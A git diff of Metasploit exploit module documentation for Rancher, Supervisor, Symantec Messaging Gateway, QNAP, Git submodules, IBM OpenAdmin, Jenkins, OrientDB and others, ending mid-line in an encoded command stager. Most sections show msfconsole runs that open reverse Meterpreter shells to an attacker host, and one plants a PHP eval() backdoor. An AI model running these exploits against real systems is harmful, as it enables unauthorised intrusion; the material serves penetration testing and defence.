hub.docker.com available image you want to have Rancher to deploy for this exploit. +- TARGETENV this is the target Rancher Environment. The default environment is `1a5`. +- TARGETHOST is the target Rancher Host. The default host is `1h1`. + +By default access control is disabled, but if enabled, you need API +Keys with at least "restrictive" permission in the environment. +See Rancher docs for [api-keys][5] and [membership-roles][6]. + +- HttpUsername is for your Access Key +- HttpPassword is for your Secret Key + +Advanced Options +- TARGETURI this is the Rancher API base path. The default environment is `/v1/projects`. +- WAIT_TIMEOUT is how long you will wait for a docker container to deploy before bailing out if it does not start. + +## Steps to exploit with module +- [ ] Start msfconsole +- [ ] use exploit/linux/http/rancher_server +- [ ] Set the options appropriately and set VERBOSE to true +- [ ] Verify it creates a docker container and it successfully runs +- [ ] After a minute a session should be opened from the agent server + +## Example Output +``` +msf > use exploit/linux/http/rancher_server +msf exploit(rancher_server) > set RHOST 192.168.91.111 +RHOST => 192.168.91.111 +msf exploit(rancher_server) > set PAYLOAD linux/x64/meterpreter/reverse_tcp +PAYLOAD => linux/x64/meterpreter/reverse_tcp +msf exploit(rancher_server) > set LHOST 192.168.91.1 +LHOST => 192.168.91.1 +msf exploit(rancher_server) > set VERBOSE true +VERBOSE => true +msf exploit(rancher_server) > check + +[+] Rancher Host "rancher" (TARGETHOST 1h1) on Environment "Default" (TARGETENV 1a5) found <-- targeted +[*] 192.168.91.111:8080 The target is vulnerable. +msf exploit(rancher_server) > exploit + +[*] Started reverse TCP handler on 192.168.91.1:4444 +[*] Setting container json request variables +[*] Creating the docker container command +[+] The docker container is created, waiting for it to deploy +[*] Waiting up to 60 seconds for docker container to start +[+] The docker container has stopped, now trying to remove it +[+] The docker container has been removed. +[*] Waiting for the cron job to run, can take up to 60 seconds +[*] Sending stage (40747 bytes) to 192.168.91.111 +[*] Meterpreter session 1 opened (192.168.91.1:4444 -> 192.168.91.111:49948) at 2017-07-27 22:18:00 +0200 +[+] Deleted /etc/cron.d/wlHVKGMA +[+] Deleted /tmp/jxKUxUyN + +meterpreter > sysinfo +Computer : rancher +OS : Debian 9.1 (Linux 4.9.0-3-amd64) +Architecture : x64 +Meterpreter : x64/linux +meterpreter > +``` +## Exploit Detection +Rancher Server has an [audit log][7]. While running this module two +events (create and delete) were logged. Even though the container is +deleted, its still able to be viewed from the link in the audit log. + +## Mitigation +* Do not deploy a Rancher Host on the same host where the Rancher + Server is. Your entire rancher infrastructure is in [danger][8]. +* Only allow trusted users to have more permissions than read-only. + +Docker protection such as Username Namespaces could not be applied +because Rancher Agents run as a privileged container. + + +[1]:https://www.debian.org/releases/stretch/amd64/index.html.en +[2]:https://docs.docker.com/engine/installation/linux/docker-ce/debian/ +[3]:https://rancher.com/docs/rancher/v1.6/en/installing-rancher/installing-server/#launching-rancher-server---single-container-non-ha +[4]:https://rancher.com/docs/rancher/v1.6/en/hosts/#adding-a-host +[5]:https://rancher.com/docs/rancher/v1.6/en/api/v2-beta/api-keys/ +[6]:https://rancher.com/docs/rancher/v1.6/en/environments/#membership-roles +[7]:https://rancher.com/docs/rancher/v1.6/en/rancher-services/audit-log/ +[8]:https://rancher.com/docs/rancher/v1.6/en/faqs/troubleshooting/#help-i-turned-on-access-controldocsrancherv16enconfigurationaccess-control-and-can-no-longer-access-rancher-how-do-i-reset-rancher-to-disable-access-control +[9]:https://rancher.com/docs/rancher/v1.6/en/installing-rancher/selinux/ diff --git a/documentation/modules/exploit/linux/http/supervisor_xmlrpc_exec.md b/documentation/modules/exploit/linux/http/supervisor_xmlrpc_exec.md new file mode 100644 index 0000000000..8b63cf55ec --- /dev/null +++ b/documentation/modules/exploit/linux/http/supervisor_xmlrpc_exec.md @@ -0,0 +1,78 @@ +## Vulnerable Application + + This module exploits an authenticated RCE vulnerability in Supervisor versions 3.0a1 to 3.3.2 + + This has been tested with versions 3.2.0 and 3.3.2 + +### Creating A Testing Environment + + At the time of writing, version 3.2.0-2ubuntu0.1 is available in the Ubuntu repositories. + + 1. ```sudo apt-get install supervisor``` + 2. Enable Web interface/XML-RPC server in Supervisor config in `/etc/supervisor/supervisord.conf` + + ``` + [inet_http_server] ; inet (TCP) server disabled by default + port=:9001 ; ip_address:port specifier, *:port for all iface + username=user ; default is no username (open server) + password=123 ; default is no password (open server) + ``` + + 3. Restart the service: `sudo service supervisor restart` + +## Verification Steps + + 1. ```use exploit/linux/http/supervisor_xmlrpc_exec``` + 2. ```set lhost [IP]``` + 3. ```set rhost [IP]``` + 4. ```set httpusername user``` + 5. ```set httppassword 123``` + 6. ```exploit``` + 7. A meterpreter session should have been opened successfully + +## Options + + **HttpUsername** + + Username for HTTP basic auth which is set in the conf file(optional) + + **HttpPassword** + + Password for HTTP basic auth which is set in the conf file(optional) + + **TARGETURI** + + The path to the XML-RPC endpoint + +## Scenarios + +### Supervisor 3.2.0 on Xubuntu 16.04 + +``` +msf > use exploit/linux/http/supervisor_xmlrpc_exec +msf exploit(supervisor_xmlrpc_exec) > set httpusername user +httpusername => user +msf exploit(supervisor_xmlrpc_exec) > set httppassword 123 +httppassword => 123 +msf exploit(supervisor_xmlrpc_exec) > set lhost 192.168.0.2 +lhost => 192.168.0.2 +msf exploit(supervisor_xmlrpc_exec) > set rhost 192.168.0.19 +rhost => 192.168.0.19 +msf exploit(supervisor_xmlrpc_exec) > check + +[*] Extracting version from web interface.. +[*] Using basic auth (user:123) +[+] Vulnerable version found: 3.2.0 +[*] 192.168.0.19:9001 The target appears to be vulnerable. +msf exploit(supervisor_xmlrpc_exec) > exploit + +[*] Started reverse TCP handler on 192.168.0.2:4444 +[*] Sending XML-RPC payload via POST to 192.168.0.19:9001/RPC2 +[*] Using basic auth (user:123) +[*] Sending stage (2878872 bytes) to 192.168.0.19 +[*] Command Stager progress - 100.00% done (782/782 bytes) +[+] Request timeout, usually indicates success. Passing to handler.. +[*] Meterpreter session 1 opened (192.168.0.2:4444 -> 192.168.0.19:36186) at 2017-08-30 01:24:45 +0100 + +meterpreter > +``` diff --git a/documentation/modules/exploit/linux/http/symantec_messaging_gateway_exec.md b/documentation/modules/exploit/linux/http/symantec_messaging_gateway_exec.md new file mode 100644 index 0000000000..2a690adebf --- /dev/null +++ b/documentation/modules/exploit/linux/http/symantec_messaging_gateway_exec.md @@ -0,0 +1,57 @@ +## Vulnerable Application + +This module exploits the command injection vulnerability of Symantec Messaging Gateway product. An authenticated user can execute a +terminal command under the context of the web server user which is root. + +backupNow.do endpoint takes several user inputs and then pass them to the internal service which is responsible for executing +operating system command. One of the user input is being passed to the service without proper validation. That cause an command +injection vulnerability. But given parameters, such a SSH ip address, port and credentials are validated before executing terminal +command. Thus, you need to configure your own SSH service and set the required parameter during module usage. + +**Vulnerable Application Installation Steps** + +Click on the "free trial" button at the following URL. +[https://www.symantec.com/products/messaging-security/messaging-gateway](https://www.symantec.com/products/messaging-security/messaging-gateway) + +You need to complete the reqistration in order to download ISO file. License file will be delivered to your e-mail address + +## Verification Steps + +A successful check of the exploit will look like this: + +``` +msf > use exploit/linux/http/symantec_messaging_gateway_exec +msf exploit(symantec_messaging_gateway_exec) > set RHOST 12.0.0.199 +RHOST => 12.0.0.199 +msf exploit(symantec_messaging_gateway_exec) > set LHOST 12.0.0.1 +LHOST => 12.0.0.1 +msf exploit(symantec_messaging_gateway_exec) > set USERNAME admin +USERNAME => admin +msf exploit(symantec_messaging_gateway_exec) > set PASSWORD qwe123 +PASSWORD => qwe123 +msf exploit(symantec_messaging_gateway_exec) > set SSH_ADDRESS 12.0.0.15 +SSH_ADDRESS => 127.0.0.1 +msf exploit(symantec_messaging_gateway_exec) > set SSH_USERNAME root +SSH_USERNAME => root +msf exploit(symantec_messaging_gateway_exec) > set SSH_PASSWORD toor +SSH_PASSWORD => qwe123 +msf exploit(symantec_messaging_gateway_exec) > run + +[*] Started reverse TCP handler on 12.0.0.1:4444 +[*] Performing authentication... +[+] Awesome..! Authenticated with admin:qwe123 +[*] Capturing CSRF token +[+] CSRF token is : 48f39f735f15fcaccd0aacc40b27a67bf76f2bb1 +[*] Sending stage (39842 bytes) to 12.0.0.199 +[*] Meterpreter session 1 opened (12.0.0.1:4444 -> 12.0.0.199:53018) at 2017-04-30 14:00:12 +0300 + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : hacker.dev +OS : Linux 2.6.32-573.3.1.el6.x86_64 #1 SMP Thu Aug 13 22:55:16 UTC 2015 +Architecture : x64 +System Language : en_US +Meterpreter : python/linux +meterpreter > +``` diff --git a/documentation/modules/exploit/linux/misc/qnap_transcode_server.md b/documentation/modules/exploit/linux/misc/qnap_transcode_server.md new file mode 100644 index 0000000000..2c1abef17f --- /dev/null +++ b/documentation/modules/exploit/linux/misc/qnap_transcode_server.md @@ -0,0 +1,62 @@ +## Description + + This module exploits an unauthenticated remote command injection vulnerability in QNAP NAS devices. The transcoding server listens on port 9251 by default and is vulnerable to command injection using the 'rmfile' command. + + +## Vulnerable Application + + [QNAP](https://www.qnap.com/) designs and delivers high-quality network attached storage (NAS) and professional network video recorder (NVR) solutions to users from home, SOHO to small, medium businesses. + + This module was tested successfully on a QNAP TS-431 with firmware version 4.3.3.0262 (20170727). + + +## Verification Steps + + 1. Start `msfconsole` + 2. Do: `use exploit/linux/misc/qnap_transcode_server` + 3. Do: `set RHOST [IP]` + 4. Do: `set LHOST [IP]` + 5. Do: `run` + 6. You should get a session + + +## Options + + **Delay** + + How long to wait (in seconds) for the device to download the payload. + + +## Scenarios + + ``` + msf > use exploit/linux/misc/qnap_transcode_server + msf exploit(qnap_transcode_server) > set rhost 10.1.1.123 + rhost => 10.1.1.123 + msf exploit(qnap_transcode_server) > check + [*] 10.1.1.123:9251 The target service is running, but could not be validated. + msf exploit(qnap_transcode_server) > set lhost 10.1.1.197 + lhost => 10.1.1.197 + msf exploit(qnap_transcode_server) > run + + [*] Started reverse TCP handler on 10.1.1.197:4444 + [*] 10.1.1.123:9251 - Using URL: http://0.0.0.0:8080/IQrgbm + [*] 10.1.1.123:9251 - Local IP: http://10.1.1.197:8080/IQrgbm + [*] 10.1.1.123:9251 - Sent command successfully (52 bytes) + [*] 10.1.1.123:9251 - Waiting for the device to download the payload (30 seconds)... + [*] 10.1.1.123:9251 - Sent command successfully (22 bytes) + [*] 10.1.1.123:9251 - Sent command successfully (13 bytes) + [*] Meterpreter session 1 opened (10.1.1.197:4444 -> 10.1.1.123:53888) at 2017-08-13 05:05:18 -0400 + [*] 10.1.1.123:9251 - Sent command successfully (19 bytes) + [*] 10.1.1.123:9251 - Command Stager progress - 100.00% done (109/109 bytes) + [*] 10.1.1.123:9251 - Server stopped. + + meterpreter > getuid + Server username: uid=0, gid=0, euid=0, egid=0 + meterpreter > sysinfo + Computer : 10.1.1.123 + OS : (Linux 3.2.26) + Architecture : armv7l + Meterpreter : armle/linux + ``` + diff --git a/documentation/modules/exploit/linux/smtp/haraka.md b/documentation/modules/exploit/linux/smtp/haraka.md index eafac68c8a..70fb385081 100644 --- a/documentation/modules/exploit/linux/smtp/haraka.md +++ b/documentation/modules/exploit/linux/smtp/haraka.md @@ -56,7 +56,7 @@ ## Example Run ``` -msf > use exploit/linux/smtp/harakiri +msf > use exploit/linux/smtp/haraka msf exploit(haraka) > set email_to root@haraka.test email_to => root@haraka.test msf exploit(haraka) > set payload linux/x64/meterpreter_reverse_http diff --git a/documentation/modules/exploit/linux/ssh/vmware_vdp_known_privkey.md b/documentation/modules/exploit/linux/ssh/vmware_vdp_known_privkey.md new file mode 100644 index 0000000000..a464e173d8 --- /dev/null +++ b/documentation/modules/exploit/linux/ssh/vmware_vdp_known_privkey.md @@ -0,0 +1,31 @@ +## Vulnerable Application + + VMware vSphere Data Protection appliances 5.5.x through 6.1.x contain a known ssh private key for the local user admin who is a sudoer without password. + +## Verification Steps + + 1. Start msfconsole + 2. Do: `use exploit/linux/ssh/vmware_vdp_known_privkey` + 3. Do: `set rhost 1.2.3.4` + 4. Do: `exploit` + 5. You should get a shell. + 6. Type: `sudo -s` to become root user + +## Scenarios + +This is a run against a known vulnerable vSphere Data Protection appliance. + +``` +msf > use exploit/linux/ssh/vmware_vdp_known_privkey +msf exploit(vmware_vdp_known_privkey) > set rhost 1.2.3.4 +rhost => 1.2.3.4 +msf exploit(vmware_vdp_known_privkey) > run + +[+] Successful login +[*] Found shell. +[*] Command shell session 1 opened (1.2.3.5:34147 -> 1.2.3.4:22) at 2017-01-20 20:43:22 +0100 +``` + +## Further Information + +The default account of the appliance is root:changeme diff --git a/documentation/modules/exploit/mainframe/ftp/ftp_jcl_creds.md b/documentation/modules/exploit/mainframe/ftp/ftp_jcl_creds.md index d67d7475e5..84a84f8be7 100644 --- a/documentation/modules/exploit/mainframe/ftp/ftp_jcl_creds.md +++ b/documentation/modules/exploit/mainframe/ftp/ftp_jcl_creds.md @@ -21,6 +21,7 @@ Compatible Payloads Name Disclosure Date Rank Description ---- --------------- ---- ----------- cmd/mainframe/apf_privesc_jcl normal JCL to escalate privilages via APF LIB + cmd/mainframe/bind_shell_jcl normal Z/OS (MVS) Command Shell, Bind TCP cmd/mainframe/generic_jcl normal Generic JCL Test for Mainframe Exploits cmd/mainframe/reverse_shell_jcl normal Z/OS (MVS) Command Shell, Reverse TCP ``` diff --git a/documentation/modules/exploit/multi/browser/adobe_flash_hacking_team_uaf.md b/documentation/modules/exploit/multi/browser/adobe_flash_hacking_team_uaf.md index ac392d61ae..d4d8f3d801 100755 --- a/documentation/modules/exploit/multi/browser/adobe_flash_hacking_team_uaf.md +++ b/documentation/modules/exploit/multi/browser/adobe_flash_hacking_team_uaf.md @@ -17,7 +17,7 @@ This module exploits an use after free on Adobe Flash Player. The vulnerability, 3. Do: ```set URIPATH / [PATH]``` 4. Do: ```run``` -## Sample Output +## Scenarios ### IE 11 and Flash 18.0.0.194 diff --git a/documentation/modules/exploit/multi/http/axis2_deployer.md b/documentation/modules/exploit/multi/http/axis2_deployer.md index ac68a1fcb6..f03e1fd59e 100755 --- a/documentation/modules/exploit/multi/http/axis2_deployer.md +++ b/documentation/modules/exploit/multi/http/axis2_deployer.md @@ -17,7 +17,7 @@ The Apache Axis2 Web application has three main sections:'Services' lists all th 4. Do: ```set PASSWORD [Password]``` 5. Do: ```run``` -## Sample Output +## Scenarios ``` msf > use exploit/multi/http/axis2_deployer @@ -57,6 +57,4 @@ Meterpreter : java/java meterpreter > exit [*] Shutting down Meterpreter... -[*] 10.10.155.37 - Meterpreter session 3 closed. Reason: User exit - ``` diff --git a/documentation/modules/exploit/multi/http/git_submodule_command_exec.md b/documentation/modules/exploit/multi/http/git_submodule_command_exec.md new file mode 100644 index 0000000000..bb119f36cb --- /dev/null +++ b/documentation/modules/exploit/multi/http/git_submodule_command_exec.md @@ -0,0 +1,62 @@ +## Vulnerable Application + + Git can be installed on a variety of operating systems, however + newer versions may contain the patch for this vulnerability. + + On OSX it can be installed with the XCode command line tools: + ```xcode-select --install``` + + On Linux it can be installed with apt: + ```sudo apt-get update && sudo apt-get install git``` + + You can check the version with ```git --version```. + The fix is included in the following version: + 2.7.6, 2.8.6, 2.9.5, 2.10.4, 2.11.3, 2.12.4, 2.13.5, 2.14.1 + +## Verification Steps + + Example steps in this format: + + 1. Install the application + 1. Start msfconsole + 1. Do: ```use exploit/multi/http/git_submodule_command_exec``` + 1. Do: ```set SRVHOST [local host]``` + 1. Do: ```set LHOST [local host]``` + 1. Do: ```exploit``` + 1. Clone the malicious Git URI and its submodules + 1. You should get a shell + +## Options + + **GIT_URI** + + This is the URI the git repository will be hosted from (defaults to random). + + **GIT_SUBMODULE** + + This is the URI of the submodule within the git repository (defaults to random). + The url of this submodule, when cloned, will execute the payload. + +## Scenarios + + Example usage against a macOS Sierra x64 bit target running git version 2.10.1 + +``` +msf > use exploit/multi/http/git_submodule_command_exec +msf exploit(git_submodule_command_exec) > set SRVHOST 192.168.0.1 +SRVHOST => 192.168.0.1 +msf exploit(git_submodule_command_exec) > set LHOST 192.168.0.1 +LHOST => 192.168.0.1 +msf exploit(git_submodule_command_exec) > exploit +[*] Exploit running as background job. + +[*] Started reverse TCP handler on 192.168.0.1:4444 +msf exploit(git_submodule_command_exec) > [*] Using URL: http://192.168.0.1:8080/D29MF1UC +[*] Server started. +[*] Malicious Git URI is http://192.168.0.1:8080/ldnwrixuqq.git +*** +Victim executes: git clone http://192.168.0.1:8080/ldnwrixuqq.git --recurse-submodules +*** +[*] Command shell session 1 opened (192.168.0.1:4444 -> 192.168.0.1:55151) at 2017-08-29 16:54:56 +0800 +[*] Command shell session 2 opened (192.168.0.1:4444 -> 192.168.0.1:55152) at 2017-08-29 16:54:56 +0800 +``` diff --git a/documentation/modules/exploit/multi/http/glassfish_deployer.md b/documentation/modules/exploit/multi/http/glassfish_deployer.md index 617f0edfc8..a0a3bf07d2 100644 --- a/documentation/modules/exploit/multi/http/glassfish_deployer.md +++ b/documentation/modules/exploit/multi/http/glassfish_deployer.md @@ -34,7 +34,7 @@ If you are on a different platform (such as Windows), the installation should be 4. Do: ```set PASSWORD [Password]``` 5. Do: ```run``` -## Sample Output +## Scenarios ``` msf > use exploit/multi/http/glassfish_deployer diff --git a/documentation/modules/exploit/multi/http/ibm_openadmin_tool_soap_welcomeserver_exec.md b/documentation/modules/exploit/multi/http/ibm_openadmin_tool_soap_welcomeserver_exec.md new file mode 100644 index 0000000000..00d3e303c3 --- /dev/null +++ b/documentation/modules/exploit/multi/http/ibm_openadmin_tool_soap_welcomeserver_exec.md @@ -0,0 +1,55 @@ +## Description + + This module exploits an unauthenticated remote PHP code execution vulnerability in [IBM OpenAdmin Tool](https://www.ibm.com/support/knowledgecenter/SSGU8G_12.1.0/com.ibm.oat.doc/ids_oat.htm) included with IBM Informix versions 11.5, 11.7, and 12.1. + + The *welcomeServer* SOAP service does not properly validate user input in the *new_home_page* parameter of the *saveHomePage* method allowing arbitrary PHP code to be written to the *config.php* file. The *config.php* file is executed in most pages within the application, and accessible directly via the web root, resulting in code execution. + + **Note: If malformed PHP code is written to the *config.php* file the application fails to process subsequent requests to set *new_home_page*, rendering the application unexploitable.** + + For this reason, the module first writes a PHP `eval()` backdoor to the *config.php* file, then the payload is provided as PHP code in a HTTP POST request for execution. + + By default, a backup of the existing *config.php* is written to *BAKconfig.php*. Replacing the *config.php* file with *BAKconfig.php* will remove the backdoor. + + +## Vulnerable Application + + The IBM® OpenAdmin Tool (OAT) for Informix® is a web application for administering and analyzing the performance of IBM Informix database servers. You can administer multiple database server instances from a single OAT installation on a web server. You can access the web server through any browser to administer all your database servers. + + This module has been tested successfully on IBM OpenAdmin Tool 3.14 on Informix 12.10 Developer Edition (SUSE Linux 11) virtual appliance. + + * [Informix 12.10 Developer Edition SLES 11 virtual appliance demo (Developer Edition 32 bit) VMware Workstation](https://www-01.ibm.com/marketing/iwm/iwm/web/reg/download.do?source=swg-informixfpd&S_PKG=dl&lang=en_US&cp=UTF-8&dlmethod=http) + + +## Verification Steps + + 1. Start `msfconsole` + 2. Do: `exploit/multi/http/ibm_openadmin_tool_soap_welcomeserver_exec` + 3. Do: `set rhost [IP]` + 4. Do: `run` + 5. You should get a session + + +## Scenarios + +### IBM OpenAdmin Tool 3.14 on Informix 12.10 Developer Edition (SUSE Linux 11) Virtual Appliance + + ``` + msf exploit(ibm_openadmin_tool_soap_welcomeserver_exec) > check + [*] 172.16.191.208:80 The target service is running, but could not be validated. + msf exploit(ibm_openadmin_tool_soap_welcomeserver_exec) > run + + [*] Started reverse TCP handler on 172.16.191.181:4444 + [+] 172.16.191.208:80 Wrote backdoor to config.php file successfully + [*] Sending stage (33986 bytes) to 172.16.191.208 + [*] Meterpreter session 1 opened (172.16.191.181:4444 -> 172.16.191.208:39840) at 2017-05-31 08:01:49 -0400 + [!] 172.16.191.208:80 Replace the 'config.php' file with 'BAKconfig.php' to remove the backdoor + + meterpreter > sysinfo + Computer : informixva + OS : Linux informixva 2.6.27.39-0.3-vmi #1 SMP 2009-11-23 12:57:38 +0100 i686 + Meterpreter : php/linux + meterpreter > getuid + Server username: daemon (2) + meterpreter > + ``` + diff --git a/documentation/modules/exploit/multi/http/jenkins_script_console.md b/documentation/modules/exploit/multi/http/jenkins_script_console.md index e09118e7d6..f1675b3917 100644 --- a/documentation/modules/exploit/multi/http/jenkins_script_console.md +++ b/documentation/modules/exploit/multi/http/jenkins_script_console.md @@ -36,7 +36,13 @@ A password to an account that has access to the script console. This is only necessary if the Jenkins instance has been configured to require - authentication. + authentication and you aren't using an API_TOKEN (see below). + + **API_TOKEN** + + An API token to an account that has access to the script console. This is only + necessary if the Jenkins instance has been configured to require + authentication and you aren't using a PASSWORD (see above). ## Scenarios @@ -128,3 +134,42 @@ meterpreter > ``` + + Example usage against a Linux x64 bit target running Jenkins 2.46.3. + + ``` + msf > use exploit/multi/http/jenkins_script_console + msf exploit(jenkins_script_console) > set RHOST 172.17.0.1 + RHOST => 172.17.0.1 + msf exploit(jenkins_script_console) > set RPORT 8080 + RPORT => 8080 + msf exploit(jenkins_script_console) > set TARGETURI / + TARGETURI => / + msf exploit(jenkins_script_console) > set USERNAME admin + USERNAME => admin + msf exploit(jenkins_script_console) > set API_TOKEN 24e0b80d009ed12590ff85866d88c00d + API_TOKEN => 24e0b80d009ed12590ff85866d88c00d + msf exploit(jenkins_script_console) > set TARGET 1 + TARGET => 1 + msf exploit(jenkins_script_console) > set PAYLOAD linux/x86/shell/reverse_tcp + PAYLOAD => linux/x86/shell/reverse_tcp + msf exploit(jenkins_script_console) > set LHOST 10.0.2.4 + LHOST => 10.0.2.4 + msf exploit(jenkins_script_console) > exploit + + [*] Started reverse TCP handler on 10.0.2.4:4444 + [*] Checking access to the script console + [*] Authenticating with token... + [*] Using CSRF token: 'd41639a6f5721760a8ee3df5d6a71eec' (Jenkins-Crumb style) + [*] 172.17.0.1:8080 - Sending Linux stager... + [*] Sending stage (36 bytes) to 172.17.0.2 + [*] Command shell session 1 opened (10.0.2.4:4444 -> 172.17.0.2:53962) at 2017-06-19 16:55:42 -0500 + [!] Deleting /tmp/AsqL5Pg payload file + + whoami + jenkins + id + uid=1000(jenkins) gid=1000(jenkins) groups=1000(jenkins) + uname -a + Linux b4b4e715101e 4.4.0-79-generic #100-Ubuntu SMP Wed May 17 19:58:14 UTC 2017 x86_64 GNU/Linux + ``` diff --git a/documentation/modules/exploit/multi/http/mediawiki_syntaxhighlight.md b/documentation/modules/exploit/multi/http/mediawiki_syntaxhighlight.md index 0bcc85970c..700dd3ba31 100644 --- a/documentation/modules/exploit/multi/http/mediawiki_syntaxhighlight.md +++ b/documentation/modules/exploit/multi/http/mediawiki_syntaxhighlight.md @@ -1,6 +1,7 @@ ## Vulnerable Application - Any MediaWiki installation with SyntaxHighlight version 2.0 installed & enabled. This extension ships with the AIO package of MediaWiki 1.27.x & 1.28.x. A fix for this issue is included in MediaWiki version 1.28.2 and version 1.27.3. + Any MediaWiki installation with SyntaxHighlight version 2.0 installed & enabled. This extension ships with the AIO package of MediaWiki 1.27.x & 1.28.x. + A fix for this issue is included in MediaWiki version 1.28.2 and version 1.27.3. ## Vulnerable Setup @@ -47,7 +48,7 @@ To set up the vulnerable environment, please do: In case the wiki is configured as private, a read-only (or better) account is needed to exploit this issue. Provide the password of that account here. -## Sample Output +## Scenarios ### The Check command diff --git a/documentation/modules/exploit/multi/http/orientdb_exec.md b/documentation/modules/exploit/multi/http/orientdb_exec.md new file mode 100644 index 0000000000..b1d6f84613 --- /dev/null +++ b/documentation/modules/exploit/multi/http/orientdb_exec.md @@ -0,0 +1,91 @@ +This module leverages a privilege escalation on OrientDB to execute unsandboxed OS commands. + +All versions from 2.2.2 up to 2.2.22 should be vulnerable. + +The module is based on the public PoC found here: [securiteam](https://blogs.securiteam.com/index.php/archives/3318) + +## Vulnerable Application +OrientDB 2.2.2 <= 2.2.22 + +## Installation +Download a vulnerable OrientDB version here: [orientdb](http://orientdb.com/download-previous/) + +``` +wget http://orientdb.com/download.php?file=orientdb-community-2.2.20.zip&os=multi +unzip orientdb-community-2.2.20.zip +chmod 755 bin/*.sh +chmod -R 777 config +cd bin +./server.sh +``` + +## References for running OrientDB + +[Install](http://orientdb.com/docs/2.0/orientdb.wiki/Tutorial-Installation.html) + +[Run](http://orientdb.com/docs/2.0/orientdb.wiki/Tutorial-Run-the-server.html) + +## References for vulnerability + +[securiteam](https://blogs.securiteam.com/index.php/archives/3318) +[palada](http://www.palada.net/index.php/2017/07/13/news-2112/) +[github](https://github.com/orientechnologies/orientdb/wiki/OrientDB-2.2-Release-Notes#2223---july-11-2017) + +## Verification Steps + +1. Start `msfconsole` +2. `use exploit/multi/http/orientdb_exec` +3. `set rhost ` +4. `set target ` +5. `set workspace ` +6. `check` +7. **Verify** if the OrientDB instance is vulnerable +8. `run` +9. **Verify** you get a session + +## Example Output + +### OrientDB 2.2.20 on Windows XP + +``` +msf > use exploit/multi/http/orientdb_exec +msf exploit(orientdb_exec) > set rhost 2.2.2.2 +rhost => 2.2.2.2 +msf exploit(orientdb_exec) > set target 2 +target => 2 +msf exploit(orientdb_exec) > check + +[+] Version: OrientDB Server v.2.2.20 (build 76ab59e72943d0ba196188ed100c882be4315139) +[+] 2.2.2.2:2480 The target is vulnerable. +msf exploit(orientdb_exec) > set verbose true +verbose => true +msf exploit(orientdb_exec) > exploit + +[*] Started reverse TCP handler on 1.1.1.1:4444 +[*] 2.2.2.2:2480 - Sending command stager... +[*] Attempting to execute: echo TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAACTOPDW11mehddZnoXXWZ6FrEWShdNZnoVURZCF3lmehbhGlIXcWZ6FuEaahdRZnoXXWZ+FHlmehVRRw4XfWZ6Fg3quhf9ZnoUQX5iF1lmehVJpY2jXWZ6FAAAAAAAAAAAAAAAAAAAAAFBFAABMAQQAWNfbSQAAAAAAAAAA4AAPAQsBBgAAsAAAAKAAAAAAAAByMQAAABAAAADAAAAAAEAAABAAAAAQAAAEAAAAAAAAAAQAAAAAAAAAAGABAAAQAAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAbMcAAHgAAAAAUAEAyAcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAODBAAAcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAADgAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAABmqQAAABAAAACwAAAAEAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAA5g8AAADAAAAAEAAAAMAAAAAAAAAAAAAAAAAAAEAAAEAuZGF0YQAAAFxwAAAA0AAAAEAAAADQAAAAAAAAAAAAAAAAAABAAADALnJzcmMAAADIBwAAAFABAAAQAAAAEAEAAAAAAAAAAAAAAAAAQAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>>%TEMP%\aAqsZ.b64 +[*] Command Stager progress - 2.01% done (2046/101881 bytes) +[*] Attempting to execute: echo 